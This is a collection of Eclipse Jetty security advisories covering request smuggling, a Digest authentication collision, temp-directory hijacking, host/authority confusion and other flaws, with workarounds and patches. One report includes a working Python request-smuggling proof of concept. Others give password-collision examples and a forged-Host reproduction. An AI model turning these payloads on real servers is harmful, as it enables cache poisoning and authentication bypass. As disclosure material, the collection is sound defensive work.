Description (as reported)

A security vulnerability has been identified in Jetty's JaspiAuthenticator.java.

The root cause is a failure to consistently clear authentication metadata stored in ThreadLocal during certain error or incomplete authentication flows. Specifically, after a GroupPrincipalCallback is persisted into the ThreadLocal, the authentication process may exit prematurely — before the ThreadLocal storage is cleared — if a mandatory CallerPrincipalCallback is missing or an exception occurs. This allows a subsequent, unprivileged user processed by the same worker thread to inherit these residual security roles, leading to Broken Access Control and Privilege Escalation.

See also attached PDF.

Impact An unauthenticated user may gain ungrated privileges from a previous request (privilege escalation).

Patches No patches yet.

Workarounds Do not use Jetty's JASPI.

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding: chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = ( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string: quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant): Chunk: 1;a="value\r\nhere"\r\n ^^^^^^^^^^^^^^^^^^ extension value Body: [1 byte after the real \r\n]

Actual (jetty): Chunk: 1;a="value ^^^^^ terminates here (WRONG) Body: here"... treated as body/next request

Proof of Concept

python #!/usr/bin/env python3 import socket

payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" )

sock = socket.socket(socket.AFINET, socket.SOCKSTREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload)

response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break

sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

| Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |

Impact

- Request Smuggling: Attacker injects arbitrary HTTP requests - Cache Poisoning: Smuggled responses poison shared caches - Access Control Bypass: Smuggled requests bypass frontend security - Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

1. Start the minimal POC with docker 2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches No patches yet.

Workarounds No workarounds yet.

Summary The DigestAuthentication.apply() method in Jetty's HTTP client uses getBytes(StandardCharsets.ISO88591) at three locations (lines 171, 179, 196) to compute Digest auth response hashes. ISO-8859-1 silently replaces any character above U+00FF (Chinese, Japanese, Cyrillic, Arabic, Emoji, etc.) with 0x3F (?), causing all such characters to produce identical hash contributions. An attacker who knows a victim's username can bypass Digest authentication by replacing all non-Latin-1 characters in the password with ? characters, since the collision password produces the same MD5-based Digest response hash as the original password.

Details Root Cause

In jetty-core/jetty-client/src/main/java/org/eclipse/jetty/client/DigestAuthentication.java, the apply() method computes the three Digest auth hashes (H(A1), H(A2), and the final response) using ISO-8859-1 character encoding:

java // Line 171 — H(A1) String hashA1 = toHexString(digester.digest(a1.getBytes(StandardCharsets.ISO88591)));

// Line 179 — H(A2) String hashA2 = toHexString(digester.digest(a2.getBytes(StandardCharsets.ISO88591)));

// Line 196 — Final response hash final String hashA3 = toHexString(digester.digest(a3.getBytes(StandardCharsets.ISO88591)));

ISO-8859-1 (Latin-1) can only encode characters in the range U+0000–U+00FF. Any character outside this range — including all CJK, Cyrillic, Arabic, Greek, Hangul, and emoji characters — is silently replaced with the byte 0x3F (?). String.getBytes(ISO88591) in Java performs this replacement without any warning or exception.

PoC Password: "我爱Java!密码123★" (7 non-Latin-1 characters)

UTF-8 encoding: 45 bytes → MD5 H(A1) = 9a4e61484f228633d5d0f95d1bbb0a99 ISO-8859-1: 31 bytes → MD5 H(A1) = d60ddc903d71913bcc3ab4a94f7fc239 Collision "??...": 31 bytes → MD5 H(A1) = d60ddc903d71913bcc3ab4a94f7fc239 ← IDENTICAL

Multi-language confirmation — all four language passwords below produce the same hash:

Chinese (密码123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Korean (비번123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Cyrillic(аб123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Greek (αβ123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Attacker(??123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 ← all collide!

Impact Scenario 1: Authentication Bypass (Collision Attack)

If a service using Jetty for Digest authentication has a user with a non-Latin-1 password (e.g., Chinese, Japanese, Russian), an attacker can authenticate as that user using a collision password where all non-Latin-1 characters are replaced with ?:

- Original password: 我爱Java!密码123★ - Collision password: ??Java!??123? - Both produce identical MD5 hashes under ISO-8859-1 → Authentication succeeds

This affects any password containing characters > U+00FF, which covers: - Chinese (CJK): U+4E00–U+9FFF - Japanese (Hiragana/Katakana/Kanji): U+3040–U+30FF, U+4E00+ - Korean (Hangul): U+AC00–U+D7AF - Cyrillic: U+0400–U+04FF (Russian, Ukrainian, Bulgarian, etc.) - Arabic: U+0600–U+06FF - Greek: U+0370–U+03FF - Latin Extended: U+0100–U+024F (accented European characters like ĉ, ğ, ñ when > U+00FF) - Emoji / Symbols > U+00FF

Scenario 2: Denial of Service for Non-Latin-1 Users

Most modern web applications store password hashes computed using UTF-8. When Jetty's Digest client computes a hash with ISO-8859-1, the bytes differ from what the server stored/expects. This means any user with non-ASCII (Latin-1+) characters in their password can never successfully authenticate via Digest auth — even the legitimate user. This is not just a security issue but a functional correctness bug that silently breaks authentication for most non-European-language users.

Impact On Unix like systems, the system's temporary directory is shared between all users on that system. A collocated user can observe the process of creating a temporary sub directory in the shared temporary directory and race to complete the creation of the temporary subdirectory. If the attacker wins the race then they will have read and write permission to the subdirectory used to unpack web applications, including their WEB-INF/lib jar files and JSP files. If any code is ever executed out of this temporary directory, this can lead to a local privilege escalation vulnerability.

Additionally, any user code uses of WebAppContext::getTempDirectory) would similarly be vulnerable.

Additionally, any user application code using the ServletContext attribute for the tempdir will also be impacted. See: https://javaee.github.io/javaee-spec/javadocs/javax/servlet/ServletContext.html#TEMPDIR

For example: java import java.io.File; import java.io.IOException; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;

public class ExampleServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { File tempDir = (File)getServletContext().getAttribute(ServletContext.TEMPDIR); // Potentially compromised // do something with that temp dir } }

Example: The JSP library itself will use the container temp directory for compiling the JSP source into Java classes before executing them.

CVSSv3.1 Evaluation

This vulnerability has been calculated to have a CVSSv3.1 score of 7.8/10 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Patches Fixes were applied to the 9.4.x branch with: - https://github.com/eclipse/jetty.project/commit/53e0e0e9b25a6309bf24ee3b10984f4145701edb - https://github.com/eclipse/jetty.project/commit/9ad6beb80543b392c91653f6bfce233fc75b9d5f

These will be included in releases: 9.4.33, 10.0.0.beta3, 11.0.0.beta3

Workarounds

A work around is to set a temporary directory, either for the server or the context, to a directory outside of the shared temporary file system. For recent releases, a temporary directory can be created simple by creating a directory called work in the ${jetty.base} directory (the parent directory of the webapps directory). Alternately the java temporary directory can be set with the System Property java.io.tmpdir. A more detailed description of how jetty selects a temporary directory is below.

The Jetty search order for finding a temporary directory is as follows:

1. If the WebAppContext has a temp directory specified), use it. 2. If the ServletContext has the javax.servlet.context.tempdir attribute set, and if directory exists, use it. 3. If a ${jetty.base}/work directory exists, use it (since Jetty 9.1) 4. If a ServletContext has the org.eclipse.jetty.webapp.basetempdir attribute set, and if the directory exists, use it. 5. Use System.getProperty("java.io.tmpdir") and use it.

Jetty will end traversal at the first successful step. To mitigate this vulnerability the directory must be set to one that is not writable by an attacker. To avoid information leakage, the directory should also not be readable by an attacker.

Setting a Jetty server temporary directory.

Choices 3 and 5 apply to the server level, and will impact all deployed webapps on the server.

For choice 3 just create that work directory underneath your ${jetty.base} and restart Jetty.

For choice 5, just specify your own java.io.tmpdir when you start the JVM for Jetty.

shell [jetty-distribution]$ java -Djava.io.tmpdir=/var/web/work -jar start.jar

Setting a Context specific temporary directory.

The rest of the choices require you to configure the context for that deployed webapp (seen as ${jetty.base}/webapps/<context>.xml)

Example (excluding the DTD which is version specific):

xml <Configure class="org.eclipse.jetty.webapp.WebAppContext"> <Set name="contextPath"><Property name="foo"/></Set> <Set name="war">/var/web/webapps/foo.war</Set> <Set name="tempDirectory">/var/web/work/foo</Set> </Configure>

References - https://github.com/eclipse/jetty.project/issues/5451 - CWE-378: Creation of Temporary File With Insecure Permissions - CWE-379: Creation of Temporary File in Directory with Insecure Permissions - CodeQL Query PR To Detect Similar Vulnerabilities

Similar Vulnerabilities

Similar, but not the same.

- JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - Google Guava - https://github.com/google/guava/issues/4011 - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824

For more information

The original report of this vulnerability is below:

On Thu, 15 Oct 2020 at 21:14, Jonathan Leitschuh <jonathan.leitschuh@gmail.com> wrote: Hi WebTide Security Team, I'm a security researcher writing some custom CodeQL queries to find Local Temporary Directory Hijacking Vulnerabilities. One of my queries flagged an issue in Jetty. https://lgtm.com/query/5615014766184643449/ I've recently been looking into security vulnerabilities involving the temporary directory because on unix-like systems, the system temporary directory is shared between all users. There exists a race condition between the deletion of the temporary file and the creation of the directory. java // ensure file will always be unique by appending random digits tmpDir = File.createTempFile(temp, ".dir", parent); // Attacker knows the full path of the file that will be generated // delete the file that was created tmpDir.delete(); // Attacker sees file is deleted and begins a race to create their own directory before Jetty. // and make a directory of the same name // SECURITY VULNERABILITY: Race Condition! - Attacker beats Jetty and now owns this directory tmpDir.mkdirs(); https://github.com/eclipse/jetty.project/blob/1b59672b7f668b8a421690154b98b4b2b03f254b/jetty-webapp/src/main/java/org/eclipse/jetty/webapp/WebInfConfiguration.java#L511-L518 In several cases the parent parameter will not be the system temporary directory. However, there is one case where it will be, as the last fallback. https://github.com/eclipse/jetty.project/blob/1b59672b7f668b8a421690154b98b4b2b03f254b/jetty-webapp/src/main/java/org/eclipse/jetty/webapp/WebInfConfiguration.java#L467-L468 If any code is ever executed out of this temporary directory, this can lead to a local privilege escalation vulnerability. Would your team be willing to open a GitHub security advisory to continue the discussion and disclosure there? https://github.com/eclipse/jetty.project/security/advisories This vulnerability disclosure follows Google's 90-day vulnerability disclosure policy (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. Cheers, Jonathan Leitschuh

Impact If GZIP request body inflation is enabled and requests from different clients are multiplexed onto a single connection and if an attacker can send a request with a body that is received entirely by not consumed by the application, then a subsequent request on the same connection will see that body prepended to it's body.

The attacker will not see any data, but may inject data into the body of the subsequent request

CVE score is 4.8 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L

Workarounds The problem can be worked around by either: - Disabling compressed request body inflation by GzipHandler. - By always fully consuming the request content before sending a response. - By adding a Connection: close to any response where the servlet does not fully consume request content.

Summary

Jetty currently accepts HTTP/2 and HTTP/3 requests where the regular Host header and the pseudo-header :authority do not match. As a result, the same request can carry two different host identities through Jetty:

- logic based on HttpURI / Request.getServerName(request) uses :authority - logic based on raw request headers continues to use Host

This creates a host/authority confusion condition that can break security assumptions in higher layers.

Jetty already performs an explicit authority/Host consistency check on the HTTP/1.1 path, but equivalent validation is missing on the HTTP/2 and HTTP/3 paths.

Security Impact

This issue is not inherently remote code execution, but it can become security-relevant in deployments that rely on the request host for security-sensitive decisions, including:

- host-based access control - virtual host isolation - multi-tenant routing by hostname - login/logout/callback URL construction - reverse proxy and forwarded-header trust chains - auditing, cache keys, and absolute URL generation

Potential consequences include:

- bypass of host-based ACLs - virtual host or tenant isolation failures - incorrect or attacker-influenced redirect/callback targets - inconsistent proxy/downstream interpretation of the original target host - misleading logs and audit records

Technical Root Cause

1. On the HTTP/2 and HTTP/3 metadata builder paths:

- :authority is parsed separately into authority/URI state - Host is preserved as a normal request header - the two values are not compared for consistency

2. On the HTTP/2 and HTTP/3 server entry paths:

- Jetty calls ComplianceUtils.verify(httpCompliance, requestMetaData, listener) - this verification does not enforce MISMATCHEDAUTHORITY

3. On the HTTP/1.1 path:

- Jetty explicitly checks whether authority and Host match - mismatches are rejected by default

Relevant Code Locations

HTTP/2 metadata builder:

- jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java

HTTP/3 metadata builder:

- jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/metadata/MetaDataBuilder.java

HTTP/2 server entry:

- jetty-core/jetty-http2/jetty-http2-server/src/main/java/org/eclipse/jetty/http2/server/internal/HttpStreamOverHTTP2.java

HTTP/3 server entry:

- jetty-core/jetty-http3/jetty-http3-server/src/main/java/org/eclipse/jetty/http3/server/internal/HttpStreamOverHTTP3.java

Shared HTTP compliance verification:

- jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/ComplianceUtils.java

HTTP/1.1 authority/Host consistency check:

- jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/internal/HttpConnection.java

Defined but not enforced on H2/H3:

- jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/HttpCompliance.java - violation: MISMATCHEDAUTHORITY

Reproduction

I reproduced this on local Jetty 12.1.9-SNAPSHOT source.

Minimal reproduction steps:

1. Start a Jetty HTTP/2 or HTTP/3 test server. 2. Send a request with: - :authority = localhost:<port> - Host = evil.example:<port> 3. In the request handler, inspect both: - Request.getServerName(request) - request.getHeaders().get(HttpHeader.HOST) 4. Observe whether Jetty rejects the request or allows both values to remain visible. Observed result: - HTTP/2: request is accepted and returns 200 - HTTP/3: request is accepted and returns 200 - the server can observe both: - serverName=localhost - hostHeader=evil.example:<port>

This shows that a single attacker-controlled request can preserve two conflicting host interpretations inside Jetty.

Tests Used

HTTP/2 rejection test:

- org.eclipse.jetty.http2.tests.HTTP2Test#testRejectMismatchedHostHeaderAndAuthority

HTTP/2 exploitability test:

- org.eclipse.jetty.http2.tests.HTTP2Test#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader

HTTP/3 rejection test:

- org.eclipse.jetty.http3.tests.HandlerClientServerTest#testRejectMismatchedHostHeaderAndAuthority

HTTP/3 exploitability test:

- org.eclipse.jetty.http3.tests.HandlerClientServerTest#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader

Observed behavior:

- both rejection tests fail because Jetty returns 200 instead of 400 - both exploitability tests pass, confirming that Jetty exposes different host values to different layers

Project-Internal Evidence of Real Impact

Examples:

- jetty-openid uses Request.getServerName(request) to construct redirect URLs - jetty-ee11-proxy uses the raw Host header when building Forwarded

This indicates that the issue is not merely theoretical: Jetty’s own ecosystem already contains code paths where different host sources are used for different purposes.

Affected Version

Confirmed affected version:

- 12.1.9-SNAPSHOT

Other versions may also be affected if they share the same HTTP/2 / HTTP/3 request construction and compliance-validation logic. I have not yet completed a historical version matrix and would recommend confirming exact affected ranges from Jetty’s branch history.

Suggested Fix

Recommend adding HTTP/2 and HTTP/3 validation equivalent to the existing HTTP/1.1 authority/Host consistency check:

- if both :authority and regular Host are present - normalize and compare them - if they do not match, reject the request with 400 Bad Request - route the failure through the existing MISMATCHEDAUTHORITY compliance mechanism

Also adding explicit HTTP/2 and HTTP/3 regression coverage for this case.

Disclosure Status

- not publicly disclosed - no public issue filed - shared only privately with the Jetty security contacts

In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests.

The Jetty URI parser has some key differences compared to other common parsers when evaluating invalid or unusual URIs. Specifically:

Invalid Scheme | URI | Jetty | uri-js (nodejs) | node-url(nodejs) | |---|---|---| --- | | https>://vulndetector.com/path | scheme=http>| scheme=https | invalid URI |

Improper IPv4 mapped IPv6

| URI | Jetty | System.Uri(CSharp) | curl(C) | |---|---|---| --- | | http://[0:0:0:0:0:ffff:127.0.0.1] | invalid | host=[::ffff:127.0.0.1] | host=[::ffff:127.0.0.1] | | http://[::ffff:255.255.0.0] | invalid | host=[::ffff:255.255.0.0] | host=[::ffff:255.255.0.0] |

Incorrect IPv6 delimeter priority

| URI | Jetty | urllib3(python) | furl(python) | Spring | chromium | |---|---|---| --- |---|---| | http://[normal.com@]vulndetector.com/ | host=[normal.com@] | invalid | invalid | | | | http://normal.com[user@vulndetector].com/ | host=[noirmal.com@vulndetector | | | host=normal.com | invalid | | http://normal.com[@]vulndetector.com/ | host=normal.com[@] | | | host=normal.com | invalid |

Incorrect delimeter priority

| URI | Jetty | urllib3(python) | jersey | |---|---|---| --- | | http://normal.com/#@vulndetector.com | host=vulndetector.com | host=normal.com | host=normal.com | | http://normal.com/?@vulndetector.com | host=vulndetector.com | host=normal.com | host=normal.com |

Impact Differential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response. At the very least, differential parsing may divulge implementation details.

Patches Patched in Supported Open Source versions. 12.1.5 - Supported and available on Maven Central 12.0.31 - Supported and available on Maven Central 11.0.x - EOL Release, patches available on tuxcare and herodevs 10.0.x - EOL Release, patches available on tuxcare and herodevs 9.4.x - EOL Release, patches available on tuxcare and herodevs

Workarounds None

Resources

+ Java Eclipse Jetty Report Incorrect Parsing Priority of the IPv6 Hostname Delimeter.pdf + Java Eclipse Jetty Report The Parsing Priority of the Delimiter.pdf + Java Eclipse Jetty Report Parsing Difference Due to Deformed Scheme.pdf + Java Eclipse Jetty Report Improper IPv4-mapped IPv6 Parsing.pdf

Jetty through 9.4.x contains a timing channel attack in util/security/Password.java, which allows attackers to obtain access by observing elapsed times before rejection of incorrect passwords.

Eclipse Jetty is vulnerable to HTTP request smuggling, caused by a flaw when handling more than one Content-Length headers. By sending a specially-crafted request, an attacker could exploit this vulnerability to poison the web cache, bypass web application firewall protection, and conduct XSS attacks.

Eclipse Jetty is vulnerable to HTTP request smuggling, caused by improper handling of Chunked Transfer-Encoding chunk size. By sending a specially-crafted request, an attacker could exploit this vulnerability to poison the web cache, bypass web application firewall protection, and conduct XSS attacks.